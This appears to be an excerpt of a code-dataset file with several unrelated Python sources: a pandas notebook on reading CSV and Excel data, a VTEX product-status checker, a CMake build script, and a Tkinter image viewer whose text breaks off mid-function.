+{"seq_id":"431620783","text":"\n# coding: utf-8\n\n# # Opening a data file\n\n# # Document\n# \n# <table align=\"left\">\n#     <tr>\n#         <th class=\"text-align:left\">Title</th>\n#         <td class=\"text-align:left\">Opening a data file</td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">Last modified</th>\n#         <td class=\"text-align:left\">2019-01-04</td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">Author</th>\n#         <td class=\"text-align:left\">Gilles Pilon <gillespilon13@gmail.com></td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">Status</th>\n#         <td class=\"text-align:left\">Active</td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">Type</th>\n#         <td class=\"text-align:left\">Jupyter notebook</td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">Created</th>\n#         <td class=\"text-align:left\">2018-12-21</td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">File name</th>\n#         <td class=\"text-align:left\">N/A</td>\n#     </tr>\n#     <tr>\n#         <th class=\"text-align:left\">Other files required</th>\n#         <td class=\"text-align:left\">N/A</td>\n#     </tr>\n# </table>\n\n# # Files\n# \n# The files for this notebook are here:\n# \n# https://drive.google.com/open?id=1bA-phCp2FxNYLxU3YqcTh2w8e26BnCN1\n\n# In[ ]:\n\n\n# Open a csv file: cloquet_two_weeks_60_min.csv.\n# This file has 30 columns.\n# The first column is date and time in ISO 8601 format.\n# The first row is the column label.\n# https://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html\n\n\n# In[ ]:\n\n\n# Import the pandas library of data structures and data analysis tools.\nimport pandas as pd\n\n\n# In[ ]:\n\n\n# df is a variable in which we store the csv file as a dataframe.\n# A dataframe is a two-dimensional labeled data structure with columns of potentially\n# different types. Think of it as a worksheet in an Excel workbook.\ndf = pd.read_csv('cloquet_two_weeks_60_min.csv',\n                 parse_dates=True,\n                 index_col='Time')\n\n\n# In[ ]:\n\n\n# Look at the first few rows and columns.\ndf.head()\n\n\n# In[ ]:\n\n\n# Look at the last few rows and columns.\ndf.tail()\n\n\n# In[ ]:\n\n\n# Look at the first 10 rows and columns.\ndf.head(10)\n\n\n# In[ ]:\n\n\n# How many rows and columns?\ndf.shape\n\n\n# In[ ]:\n\n\n# Show the number of cells, that is, columns x rows.\ndf.size\n\n\n# In[ ]:\n\n\n# Show the Index column and the column labels.\ndf.axes\n\n\n# In[ ]:\n\n\n# Show the index column.\ndf.index\n\n\n# In[ ]:\n\n\n# show the column lables, excluding the Index\ndf.columns\n\n\n# In[ ]:\n\n\n# Show the column types\ndf.dtypes\n\n\n# In[ ]:\n\n\n# Open an Excel file: cloquet_two_weeks_60_min.xlsx.\n# This is the same as the previous csv file.\ndf2 = pd.read_excel('cloquet_two_weeks_60_min.xlsx',\n                    parse_dates=True,\n                    index_col='Time')\n\n\n# In[ ]:\n\n\n# And the same operations as above can be performed.\ndf2.head()\n\n\n# In[ ]:\n\n\n# Open an Excel file with multiple worksheets.\n# There are three worksheets:\n# two_weeks_15_min\n# two_weeks_30_min\n# two_weeks_60_min\n# The first four rows are variables user labels and notes.\n# The column labels start in the fifth row.\ndf3 = pd.read_excel('cloquet_multiple.xlsx',\n                    sheet_name='two_weeks_60_min',\n                    parse_dates=True,\n                    skiprows=4,\n                    index_col='Time')\n\n\n# In[ ]:\n\n\n# You can do the same operations as before.\ndf3.head()\n\n\n# In[ ]:\n\n\n# What is your file is in a directory and not in the same place as this notebook?\ndf = pd.read_csv('data_files/just_another_file.csv',\n                 parse_dates=True,\n                 index_col='Time')\n\n\n# In[ ]:\n\n\ndf.head()\n\n","sub_path":"data_file_open.py","file_name":"data_file_open.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"17856780","text":"import os, shutil, csv, requests, time, json\nfrom bs4 import BeautifulSoup as Soup\nfrom shadow_database import DatabaseConnection\nfrom shadow_helpers.helpers import set_in_dict, get_from_dict, make_dict, for_each_leaf\nfrom shadow_vtex.vtex import try_to_request, post_to_webservice\n\napi_connection_file = open(\"api_connection.json\", 'rb')\napi_connection_config = json.load(api_connection_file)\n\ndef check_vtex(ean):\n\tcheck_result = {\n\t\t'product_id': None,\n\n\t\t'integrado': False,\n\t\t'imagem_vtex': False,\n\t\t'ativo': False,\n\n\t\t'erro': None,\n\t}\n\n\tsoap_skuget = \"\"\"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:tem=\"http://tempuri.org/\">\n\t   <soapenv:Header/>\n\t   <soapenv:Body>\n\t      <tem:StockKeepingUnitGetByEan>\n\t         <!--Optional:-->\n\t         <tem:EAN13>%s</tem:EAN13>\n\t      </tem:StockKeepingUnitGetByEan>\n\t   </soapenv:Body>\n\t</soapenv:Envelope>\"\"\" % (ean)\n\n\tsoup = post_to_webservice(\"http://tempuri.org/IService/StockKeepingUnitGetByEan\", soap_skuget)\n\tif not soup:\n\t\tcheck_result['erro'] = 'erro ao pegar sku por ean'\n\t\treturn check_result\n\n\tsku_id = soup.find('a:Id')\n\n\tif not sku_id:\n\t\treturn check_result\n\n\tcheck_result['integrado'] = True\n\tcheck_result['product_id'] = soup.find('a:ProductId').text\n\n\tsku_id = sku_id.text\n\n\tsoap_imageget = \"\"\"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:tem=\"http://tempuri.org/\">\n\t   <soapenv:Header/>\n\t   <soapenv:Body>\n\t      <tem:ImageListByStockKeepingUnitId>\n\t         <!--Optional:-->\n\t         <tem:StockKeepingUnitId>%s</tem:StockKeepingUnitId>\n\t         <!--Optional:-->\n\t      </tem:ImageListByStockKeepingUnitId>\n\t   </soapenv:Body>\n\t</soapenv:Envelope>\"\"\" % sku_id\n\n\tsoup = post_to_webservice(\"http://tempuri.org/IService/ImageListByStockKeepingUnitId\", soap_imageget)\n\tif not soup:\n\t\tcheck_result['erro'] = 'erro ao verificar imagem no vtex'\n\t\treturn check_result\n\n\timage_test_name = soup.find('a:FileLocation')\n\n\tif not image_test_name:\n\t\treturn check_result\n\n\tcheck_result['imagem_vtex'] = True\n\n\tsoap_skuget = \"\"\"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:tem=\"http://tempuri.org/\">\n\t   <soapenv:Header/>\n\t   <soapenv:Body>\n\t\t  <tem:StockKeepingUnitGetByEan>\n\t\t\t <!--Optional:-->\n\t\t\t <tem:EAN13>%s</tem:EAN13>\n\t\t  </tem:StockKeepingUnitGetByEan>\n\t   </soapenv:Body>\n\t</soapenv:Envelope>\"\"\" % (ean)\n\n\tsoup = post_to_webservice(\"http://tempuri.org/IService/StockKeepingUnitGetByEan\", soap_skuget)\n\tif not soup:\n\t\tcheck_result['erro'] = ('erro ao verificar se ativo')\n\t\treturn check_result\n\n\tis_active_node = soup.find('a:IsActive')\n\tif not is_active_node:\n\t\tcheck_result['erro'] = ('erro ao verificar se ativo - mensagem faltando')\n\t\treturn check_result\n\n\tif is_active_node.text != 'true':\n\t\treturn check_result\n\n\tcheck_result['ativo'] = True\n\n\treturn check_result\n\ndef check_stock_and_online(product_info):\n\tcheck_result = {\n\t\t'estoque': 0,\n\t\t'online': False,\n\t}\n\n\tproduto_cor = product_info['produto_cor_code']\n\n\turl = \"https://marciamello.vtexcommercestable.com.br/api/catalog_system/pub/products/search\"\n\tparams = {\"fq\":\"alternateIds_RefId:%s\" % product_info['prod_code']}\n\tresponse = try_to_request(\"GET\", url, headers=api_connection_config, params=params)\n\tjson_response = json.loads(response.text)\n\tfor product in json_response:\n\t\tproduct_id = product[\"productId\"]\n\t\tproduto = product[\"productReference\"]\n\t\tfor item in product[\"items\"]:\n\t\t\tif produto_cor in item['ean']:\n\t\t\t\tcheck_result['estoque'] += item[\"sellers\"][0][\"commertialOffer\"][\"AvailableQuantity\"]\n\t\t\t\tcheck_result['online'] = True\n\n\treturn check_result\n\ndef waterfall(product_info):\n\tcheck_result = {\n\t\t'produto': product_info['prod_code'],\n\t\t'cor_produto': product_info['cod_color'],\n\n\t\t'has_ean': False,\n\n\t\t'integrado': False,\n\t\t'imagem_vtex': False,\n\t\t'imagem_hd': False,\n\t\t'ativo': False,\n\n\t\t'estoque': None,\n\t\t'online': False,\n\n\t\t'erro': None,\n\t}\n\n\tif not product_info['ean']:\n\t\treturn check_result\n\t\n\tcheck_result['has_ean'] = True\n\n\ttry:\n\t\tcheck_result.update(check_vtex(product_info['ean']))\n\n\t\tcheck_result.update(check_stock_and_online(product_info))\n\texcept Exception as e:\n\t\tcheck_result['erro'] = str(e)\n\n\treturn check_result\n\ndef search_directory(products_to_search):\n\tfilename_to_product = {}\n\talready_found_images = set()\n\tfound_products = {}\n\tpaths = [\"C:\\\\Users\\\\Felipe\\\\Projetos\\\\shadow\\\\fotos\\\\fotos_para_renomear\"]\n\n\tfor product in products_to_search:\n\t\tfor n in range(1,5):\n\t\t\ttry:\n\t\t\t\tfilename = '%s.%s_0%s.jpg' % (product['produto'].replace(\".\",\"\"), str(int(product['cor_produto'])), n)\n\t\t\t\tfilename_to_product[filename] = product\n\t\t\texcept Exception as e:\n\t\t\t\tpass\n\n\t\t\tfilename = '%s.%s_0%s.jpg' % (product['produto'].replace(\".\",\"\"), str(product['cor_produto']).zfill(2), n)\n\t\t\tfilename_to_product[filename] = product\n\n\tfor path in paths:\n\t\tfor folder, subs, files in os.walk(path):\n\t\t\tfor filename in files:\n\t\t\t\tif filename in filename_to_product and filename not in already_found_images:\n\t\t\t\t\talready_found_images.add(filename)\n\n\t\t\t\t\tfilepath = os.path.abspath(os.path.join(folder, filename))\n\t\t\t\t\t# try:\n\t\t\t\t\t# \tshutil.copy(filepath,'..\\\\fotosC:\\\\Users\\\\Felipe\\\\Downloads\\\\mm\\\\fotos\\\\nakd\\\\')\n\t\t\t\t\t# except Exception as e:\n\t\t\t\t\t# \tprint(e)\n\t\t\t\t\t# # print(filepath)\n\n\t\t\t\t\tproduct = filename_to_product[filename]\n\t\t\t\t\tset_in_dict(found_products, 1, [product['produto'], product['cor_produto']])\n\n\treturn found_products\n\nfrom multiprocessing import Pool\nif __name__ == '__main__':\n\tstart = time.time()\n\n\tdc = DatabaseConnection()\n\n\t# product_filter = \"and p.griffe = 'NAKD'\"\n\tproduct_filter = \"e.estoque_disponivel > 0 and e.filial='e-commerce'\"\n\t# product_filter = \"(p.produto = '22.01.0007')\"\n\n\tquery = \"\"\"\n\t\tSELECT\n\t\t\tp.produto as prod_code, \n\t\t\tps.COR_PRODUTO as cod_color, \n\t\t\tMAX(ps.CODIGO_BARRA) as ean,\n\t\t\tMAX(LEFT(ps.CODIGO_BARRA, LEN(ps.CODIGO_BARRA) - LEN(ps.grade))) as produto_cor_code,\n\t\t\tSUM(e.estoque_disponivel) as stock\n\t\tfrom dbo.PRODUTOS p\n\t\tINNER JOIN dbo.PRODUTO_CORES pc on pc.produto = p.produto\n\t\tINNER JOIN dbo.PRODUTOS_BARRA ps on ps.produto = p.produto and ps.COR_PRODUTO = pc.COR_PRODUTO\n\t\tLEFT JOIN w_estoque_disponivel_sku e on e.codigo_barra = ps.CODIGO_BARRA\n\t\tWHERE 1=1\n\t\t\tand (%s)\n\t\tgroup by p.produto, ps.COR_PRODUTO\n\t\thaving SUM(e.estoque_disponivel) > 0\n\t\t;\n\t\"\"\" % product_filter\n\n\tproducts_to_check = dc.select(query, strip=True, dict_format=True)\n\n\tproduct_checks = []\n\twith Pool(10) as p:\n\t\tproduct_checks = p.map(waterfall, products_to_check)\n\n\t# for x in products_to_check:\n\t# \tproduct_checks.append(f(x))\n\n\tproducts_to_search = []\n\tfor product_check in product_checks:\n\t\tproduct_check['imagem_hd'] = False\n\n\t\tif not product_check['imagem_vtex']:\n\t\t\tproducts_to_search.append(product_check)\n\n\tfound_products = search_directory(products_to_search)\n\tproduct_check_dict = make_dict(product_checks, None, ['produto', 'cor_produto'])\n\ttry:\n\t\tfor found_product in found_products:\n\t\t\tset_in_dict(product_check_dict, True, [found_product['produto'], found_product['cor_produto'], 'imagem_hd'])\n\texcept Exception as e:\n\t\tpass\n\n\tdc.execute('TRUNCATE TABLE bi_vtex_product_waterfall;')\n\tdc.insert_dict('bi_vtex_product_waterfall', list(for_each_leaf(product_check_dict, depth=2, return_keys=False)))\n\n\tend = time.time()\n\tprint(end-start)","sub_path":"vtex_api/product_waterfall.py","file_name":"product_waterfall.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"312471675","text":"import argparse\nimport multiprocessing\nimport os\nimport platform\nimport shutil\nimport subprocess\nimport sys\n\ndef parse_argv():\n\tparser = argparse.ArgumentParser(add_help=False)\n\n\tactions = parser.add_argument_group(title='Actions', description='If no action is specified, on Windows, OS X, and Linux the solution/make files are generated.  Multiple actions can be used simultaneously.')\n\tactions.add_argument('-build', action='store_true')\n\tactions.add_argument('-clean', action='store_true')\n\tactions.add_argument('-unit_test', action='store_true')\n\tactions.add_argument('-bench', action='store_true')\n\n\ttarget = parser.add_argument_group(title='Target')\n\ttarget.add_argument('-compiler', choices=['vs2015', 'vs2017', 'vs2019', 'android', 'clang4', 'clang5', 'clang6', 'clang7', 'gcc5', 'gcc6', 'gcc7', 'gcc8', 'gcc9', 'osx', 'ios'], help='Defaults to the host system\\'s default compiler')\n\ttarget.add_argument('-config', choices=['Debug', 'Release'], type=str.capitalize)\n\ttarget.add_argument('-cpu', choices=['x86', 'x64', 'arm64'], help='Only supported for Windows, OS X, and Linux; defaults to the host system\\'s architecture')\n\n\tmisc = parser.add_argument_group(title='Miscellaneous')\n\tmisc.add_argument('-avx', dest='use_avx', action='store_true', help='Compile using AVX instructions on Windows, OS X, and Linux')\n\tmisc.add_argument('-avx2', dest='use_avx2', action='store_true', help='Compile using AVX2 instructions on Windows, OS X, and Linux')\n\tmisc.add_argument('-nosimd', dest='use_simd', action='store_false', help='Compile without SIMD instructions')\n\tmisc.add_argument('-num_threads', help='No. to use while compiling and regressing')\n\tmisc.add_argument('-tests_matching', help='Only run tests whose names match this regex')\n\tmisc.add_argument('-help', action='help', help='Display this usage information')\n\n\tnum_threads = multiprocessing.cpu_count()\n\tif platform.system() == 'Linux' and sys.version_info >= (3, 4):\n\t\tnum_threads = len(os.sched_getaffinity(0))\n\tif not num_threads or num_threads == 0:\n\t\tnum_threads = 4\n\n\tparser.set_defaults(build=False, clean=False, unit_test=False, compiler=None, config='Release', cpu='x64', use_avx=False, use_avx2=False, use_simd=True, num_threads=num_threads, tests_matching='')\n\n\targs = parser.parse_args()\n\n\t# Sanitize and validate our options\n\tif (args.use_avx or args.use_avx2) and not args.use_simd:\n\t\tprint('SIMD is explicitly disabled, AVX and AVX2 will not be used')\n\t\targs.use_avx = False\n\t\targs.use_avx2 = False\n\n\tif args.compiler == 'android':\n\t\targs.cpu = 'armv7-a'\n\n\t\tif not platform.system() == 'Windows':\n\t\t\tprint('Android is only supported on Windows')\n\t\t\tsys.exit(1)\n\n\t\tif args.use_avx or args.use_avx2:\n\t\t\tprint('AVX and AVX2 are not supported on Android')\n\t\t\tsys.exit(1)\n\n\t\tif args.unit_test:\n\t\t\tprint('Unit tests cannot run from the command line on Android')\n\t\t\tsys.exit(1)\n\n\tif args.compiler == 'ios':\n\t\targs.cpu = 'arm64'\n\n\t\tif not platform.system() == 'Darwin':\n\t\t\tprint('iOS is only supported on OS X')\n\t\t\tsys.exit(1)\n\n\t\tif args.use_avx or args.use_avx2:\n\t\t\tprint('AVX and AVX2 are not supported on iOS')\n\t\t\tsys.exit(1)\n\n\t\tif args.unit_test:\n\t\t\tprint('Unit tests cannot run from the command line on iOS')\n\t\t\tsys.exit(1)\n\n\tif args.cpu == 'arm64':\n\t\tif not args.compiler in ['vs2017', 'vs2019', 'ios']:\n\t\t\tprint('ARM64 is only supported with VS2017, VS2019, and iOS')\n\t\t\tsys.exit(1)\n\n\tif platform.system() == 'Darwin' and args.cpu == 'x86':\n\t\tresult = subprocess.check_output(['xcodebuild', '-version']).decode(\"utf-8\")\n\t\tif 'Xcode 11' in result:\n\t\t\tprint('Versions of Xcode 11 and up no longer support x86')\n\t\t\tsys.exit(1)\n\n\treturn args\n\ndef get_cmake_exes():\n\tif platform.system() == 'Windows':\n\t\treturn ('cmake.exe', 'ctest.exe')\n\telse:\n\t\treturn ('cmake', 'ctest')\n\ndef get_generator(compiler, cpu):\n\tif compiler == None:\n\t\treturn None\n\n\tif platform.system() == 'Windows':\n\t\tif compiler == 'vs2015':\n\t\t\tif cpu == 'x86':\n\t\t\t\treturn 'Visual Studio 14'\n\t\t\telif cpu == 'x64':\n\t\t\t\treturn 'Visual Studio 14 Win64'\n\t\telif compiler == 'vs2017':\n\t\t\tif cpu == 'x86':\n\t\t\t\treturn 'Visual Studio 15'\n\t\t\telif cpu == 'x64':\n\t\t\t\treturn 'Visual Studio 15 Win64'\n\t\t\telif cpu == 'arm64':\n\t\t\t\t# VS2017 ARM/ARM64 support only works with cmake 3.13 and up and the architecture must be specified with\n\t\t\t\t# the -A cmake switch\n\t\t\t\treturn 'Visual Studio 15 2017'\n\t\telif compiler == 'vs2019':\n\t\t\treturn 'Visual Studio 16 2019'\n\t\telif compiler == 'android':\n\t\t\treturn 'Visual Studio 14'\n\telif platform.system() == 'Darwin':\n\t\tif compiler == 'osx' or compiler == 'ios':\n\t\t\treturn 'Xcode'\n\telse:\n\t\treturn 'Unix Makefiles'\n\n\tprint('Unknown compiler: {}'.format(compiler))\n\tprint('See help with: python make.py -help')\n\tsys.exit(1)\n\ndef get_architecture(compiler, cpu):\n\tif compiler == None:\n\t\treturn None\n\n\tif platform.system() == 'Windows':\n\t\tif compiler == 'vs2017':\n\t\t\tif cpu == 'arm64':\n\t\t\t\treturn 'ARM64'\n\t\telif compiler == 'vs2019':\n\t\t\tif cpu == 'x86':\n\t\t\t\treturn 'Win32'\n\t\t\telse:\n\t\t\t\treturn cpu\n\n\t# This compiler/cpu pair does not need the architecture switch\n\treturn None\n\ndef get_toolchain(compiler):\n\tif platform.system() == 'Windows' and compiler == 'android':\n\t\treturn 'Toolchain-Android.cmake'\n\telif platform.system() == 'Darwin' and compiler == 'ios':\n\t\treturn 'Toolchain-iOS.cmake'\n\n\t# No toolchain\n\treturn None\n\ndef set_compiler_env(compiler, args):\n\tif platform.system() == 'Linux':\n\t\tos.environ['MAKEFLAGS'] = '-j{}'.format(args.num_threads)\n\t\tif compiler == 'clang4':\n\t\t\tos.environ['CC'] = 'clang-4.0'\n\t\t\tos.environ['CXX'] = 'clang++-4.0'\n\t\telif compiler == 'clang5':\n\t\t\tos.environ['CC'] = 'clang-5.0'\n\t\t\tos.environ['CXX'] = 'clang++-5.0'\n\t\telif compiler == 'clang6':\n\t\t\tos.environ['CC'] = 'clang-6.0'\n\t\t\tos.environ['CXX'] = 'clang++-6.0'\n\t\telif compiler == 'clang7':\n\t\t\tos.environ['CC'] = 'clang-7'\n\t\t\tos.environ['CXX'] = 'clang++-7'\n\t\telif compiler == 'gcc5':\n\t\t\tos.environ['CC'] = 'gcc-5'\n\t\t\tos.environ['CXX'] = 'g++-5'\n\t\telif compiler == 'gcc6':\n\t\t\tos.environ['CC'] = 'gcc-6'\n\t\t\tos.environ['CXX'] = 'g++-6'\n\t\telif compiler == 'gcc7':\n\t\t\tos.environ['CC'] = 'gcc-7'\n\t\t\tos.environ['CXX'] = 'g++-7'\n\t\telif compiler == 'gcc8':\n\t\t\tos.environ['CC'] = 'gcc-8'\n\t\t\tos.environ['CXX'] = 'g++-8'\n\t\telif compiler == 'gcc9':\n\t\t\tos.environ['CC'] = 'gcc-9'\n\t\t\tos.environ['CXX'] = 'g++-9'\n\t\telse:\n\t\t\tprint('Unknown compiler: {}'.format(compiler))\n\t\t\tprint('See help with: python make.py -help')\n\t\t\tsys.exit(1)\n\ndef do_generate_solution(cmake_exe, build_dir, cmake_script_dir, args):\n\tcompiler = args.compiler\n\tcpu = args.cpu\n\tconfig = args.config\n\n\tif not compiler == None:\n\t\tset_compiler_env(compiler, args)\n\n\textra_switches = ['--no-warn-unused-cli']\n\textra_switches.append('-DCPU_INSTRUCTION_SET:STRING={}'.format(cpu))\n\n\tif args.use_avx:\n\t\tprint('Enabling AVX usage')\n\t\textra_switches.append('-DUSE_AVX_INSTRUCTIONS:BOOL=true')\n\n\tif args.use_avx2:\n\t\tprint('Enabling AVX2 usage')\n\t\textra_switches.append('-DUSE_AVX2_INSTRUCTIONS:BOOL=true')\n\n\tif not args.use_simd:\n\t\tprint('Disabling SIMD instruction usage')\n\t\textra_switches.append('-DUSE_SIMD_INSTRUCTIONS:BOOL=false')\n\n\tif args.bench:\n\t\textra_switches.append('-DBUILD_BENCHMARK_EXE:BOOL=true')\n\n\tif not platform.system() == 'Windows':\n\t\textra_switches.append('-DCMAKE_BUILD_TYPE={}'.format(config.upper()))\n\n\ttoolchain = get_toolchain(compiler)\n\tif not toolchain == None:\n\t\textra_switches.append('-DCMAKE_TOOLCHAIN_FILE={}'.format(os.path.join(cmake_script_dir, toolchain)))\n\n\t# Generate IDE solution\n\tprint('Generating build files ...')\n\tcmake_cmd = '\"{}\" .. -DCMAKE_INSTALL_PREFIX=\"{}\" {}'.format(cmake_exe, build_dir, ' '.join(extra_switches))\n\tcmake_generator = get_generator(compiler, cpu)\n\tif cmake_generator == None:\n\t\tprint('Using default generator')\n\telse:\n\t\tprint('Using generator: {}'.format(cmake_generator))\n\t\tcmake_cmd += ' -G \"{}\"'.format(cmake_generator)\n\n\tcmake_arch = get_architecture(compiler, cpu)\n\tif cmake_arch:\n\t\tprint('Using architecture: {}'.format(cmake_arch))\n\t\tcmake_cmd += ' -A {}'.format(cmake_arch)\n\n\tresult = subprocess.call(cmake_cmd, shell=True)\n\tif result != 0:\n\t\tsys.exit(result)\n\ndef do_build(cmake_exe, args):\n\tconfig = args.config\n\n\tprint('Building ...')\n\tcmake_cmd = '\"{}\" --build .'.format(cmake_exe)\n\tif platform.system() == 'Windows':\n\t\tif args.compiler == 'android':\n\t\t\tcmake_cmd += ' --config {}'.format(config)\n\t\telse:\n\t\t\tcmake_cmd += ' --config {} --target INSTALL'.format(config)\n\telif platform.system() == 'Darwin':\n\t\tif args.compiler == 'ios':\n\t\t\tcmake_cmd += ' --config {}'.format(config)\n\t\telse:\n\t\t\tcmake_cmd += ' --config {} --target install'.format(config)\n\telse:\n\t\tcmake_cmd += ' --target install'\n\n\tresult = subprocess.call(cmake_cmd, shell=True)\n\tif result != 0:\n\t\tsys.exit(result)\n\ndef do_tests(ctest_exe, args):\n\tconfig = args.config\n\n\tprint('Running unit tests ...')\n\tctest_cmd = '\"{}\" --output-on-failure --parallel {}'.format(ctest_exe, args.num_threads)\n\n\tif platform.system() == 'Windows' or platform.system() == 'Darwin':\n\t\tctest_cmd += ' -C {}'.format(config)\n\n\tif args.tests_matching:\n\t\tctest_cmd += ' --tests-regex {}'.format(args.tests_matching)\n\n\tresult = subprocess.call(ctest_cmd, shell=True)\n\tif result != 0:\n\t\tsys.exit(result)\n\ndef do_bench():\n\tif args.compiler == 'ios' or args.compiler == 'android':\n\t\treturn\t# Not supported on iOS or Android\n\n\tprint('Running benchmark ...')\n\n\tif platform.system() == 'Windows':\n\t\tbench_exe = os.path.join(os.getcwd(), 'bin/rtm_bench.exe')\n\telse:\n\t\tbench_exe = os.path.join(os.getcwd(), 'bin/rtm_bench')\n\n\tbench_cmd = '{}'.format(bench_exe)\n\n\tresult = subprocess.call(bench_cmd, shell=True)\n\tif result != 0:\n\t\tsys.exit(result)\n\nif __name__ == \"__main__\":\n\targs = parse_argv()\n\n\tcmake_exe, ctest_exe = get_cmake_exes()\n\tcompiler = args.compiler\n\tcpu = args.cpu\n\tconfig = args.config\n\n\t# Set the RTM_CMAKE_HOME environment variable to point to CMake\n\t# otherwise we assume it is already in the user PATH\n\tif 'RTM_CMAKE_HOME' in os.environ:\n\t\tcmake_home = os.environ['RTM_CMAKE_HOME']\n\t\tcmake_exe = os.path.join(cmake_home, 'bin', cmake_exe)\n\t\tctest_exe = os.path.join(cmake_home, 'bin', ctest_exe)\n\n\tbuild_dir = os.path.join(os.getcwd(), 'build')\n\tcmake_script_dir = os.path.join(os.getcwd(), 'cmake')\n\n\tif args.clean and os.path.exists(build_dir):\n\t\tprint('Cleaning previous build ...')\n\t\tshutil.rmtree(build_dir)\n\n\tif not os.path.exists(build_dir):\n\t\tos.makedirs(build_dir)\n\n\tos.chdir(build_dir)\n\n\tprint('Using config: {}'.format(config))\n\tprint('Using cpu: {}'.format(cpu))\n\tif not compiler == None:\n\t\tprint('Using compiler: {}'.format(compiler))\n\tprint('Using {} threads'.format(args.num_threads))\n\n\tdo_generate_solution(cmake_exe, build_dir, cmake_script_dir, args)\n\n\tif args.build:\n\t\tdo_build(cmake_exe, args)\n\n\tif args.unit_test:\n\t\tdo_tests(ctest_exe, args)\n\n\tif args.bench:\n\t\tdo_bench()\n\n\tsys.exit(0)\n","sub_path":"ACLPlugin/Source/ThirdParty/acl/external/rtm/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":10731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"286004212","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May  2 13:00:55 2017\r\n\r\n@author: SzMike\r\n\"\"\"\r\n\r\n##############################################################\r\n# PyPhoto 1.0: thumbnail image viewer with resizing and saves;\r\n# supports multiple image directory thumb windows - the initial\r\n# img dir is passed in as cmd arg, uses \"images\" default, or\r\n# is selected via main window button; later directories are\r\n# opened by pressing \"D\" in image view or thumbnail windows;\r\n#\r\n# viewer also scrolls popped-up images that are too large\r\n# for the screen; still to do: (1) rearrange thumbnails when\r\n# window resized, based on current window size; (2) resize\r\n# images to fit current window size as an option? (3) avoid\r\n# scrolls if image size is less than window max size: use\r\n# Label if imgwide <= scrwide and imghigh <= scrhigh?\r\n#\r\n# New in 1.0: now does a form of (2) - image is resized to\r\n# one of the display's dimensions if clicked, and zoomed in\r\n# or out in 10% increments on key presses; generalize me;\r\n# caveat: seems to lose quality, pixels after many resizes;\r\n#\r\n# the following scaler adapted from PIL's thumbnail code is\r\n# similar to the screen height scaler here, but only shrinks:\r\n# x, y = imgwide, imghigh\r\n# if x > scrwide: y = max(y * scrwide / x, 1); x = scrwide\r\n# if y > scrhigh: x = max(x * scrhigh / y, 1); y = scrhigh\r\n##############################################################\r\n\r\nimport sys, math, os\r\nimport tkinter as tk\r\nfrom tkinter.filedialog import SaveAs\r\nfrom collections import OrderedDict\r\n\r\nfrom PIL import Image                                  # PIL Image: also in Tkinter\r\nfrom PIL.ImageTk import PhotoImage                # PIL photo widget replacement\r\n\r\n# remember last dirs across all windows\r\n#openDialog = Directory(title='Select Image Directory To Open')\r\nappname = 'RSG 1.0: '\r\n\r\nsaveDialog = SaveAs(title='Save As (filename gives image type)')\r\n\r\n\r\nclass ScrolledCanvas(tk.Canvas):\r\n    \"\"\"\r\n    a canvas in a container that automatically makes\r\n    vertical and horizontal scroll bars for itself\r\n    \"\"\"\r\n    def __init__(self, container):\r\n        tk.Canvas.__init__(self, container)\r\n        self.config(borderwidth=0)\r\n        vbar = tk.Scrollbar(container)\r\n        hbar = tk.Scrollbar(container, orient='horizontal')\r\n\r\n        vbar.pack(side=tk.RIGHT,  fill=tk.Y)                 # pack canvas after bars\r\n        hbar.pack(side=tk.BOTTOM, fill=tk.X)                 # so clipped first\r\n        self.pack(side=tk.TOP, fill=tk.BOTH, expand=tk.YES)\r\n\r\n        vbar.config(command=self.yview)                # call on scroll move\r\n        hbar.config(command=self.xview)\r\n        self.config(yscrollcommand=vbar.set)           # call on canvas move\r\n        self.config(xscrollcommand=hbar.set)\r\n\r\n\r\nclass ViewOne(tk.Toplevel):\r\n    \"\"\"\r\n    open a single image in a pop-up window when created;\r\n    a class because photoimage obj must be saved, else\r\n    erased if reclaimed; scroll if too big for display;\r\n    on mouse clicks, resizes to window's height or width:\r\n    stretches or shrinks; on I/O keypress, zooms in/out;\r\n    both resizing schemes maintain original aspect ratio;\r\n    code is factored to avoid redundancy here as possible;\r\n    \"\"\"\r\n    def __init__(self, imgdir, imgfile, forcesize=( )):\r\n        tk.Toplevel.__init__(self)\r\n        helptxt = '(click L/R or press I/O to resize, S to save, D to open)'\r\n        self.title(appname + imgfile + '  ' + helptxt)\r\n        imgpath = os.path.join(imgdir, imgfile)\r\n        imgpil  = Image.open(imgpath)\r\n        self.canvas = ScrolledCanvas(self)\r\n        self.drawImage(imgpil, forcesize)\r\n        self.canvas.bind('<Button-1>', self.onSizeToDisplayHeight)\r\n        self.canvas.bind('<Button-3>', self.onSizeToDisplayWidth)\r\n        self.bind('<KeyPress-i>',      self.onZoomIn)\r\n        self.bind('<KeyPress-o>',      self.onZoomOut)\r\n        #self.bind('<KeyPress-s>',      self.onSaveImage)\r\n        #self.bind('<KeyPress-d>',      onDirectoryOpen)\r\n        self.focus( )\r\n\r\n    def drawImage(self, imgpil, forcesize=( )):\r\n        imgtk = PhotoImage(image=imgpil)                  # not file=imgpath\r\n        scrwide, scrhigh = forcesize or self.maxsize( )   # wm screen size x,y\r\n        imgwide  = imgtk.width( )                         # size in pixels\r\n        imghigh  = imgtk.height( )                        # same as imgpil.size\r\n\r\n        fullsize = (0, 0, imgwide, imghigh)              # scrollable\r\n        viewwide = min(imgwide, scrwide)                 # viewable\r\n        viewhigh = min(imghigh, scrhigh)\r\n\r\n        canvas = self.canvas\r\n        canvas.delete('all')                             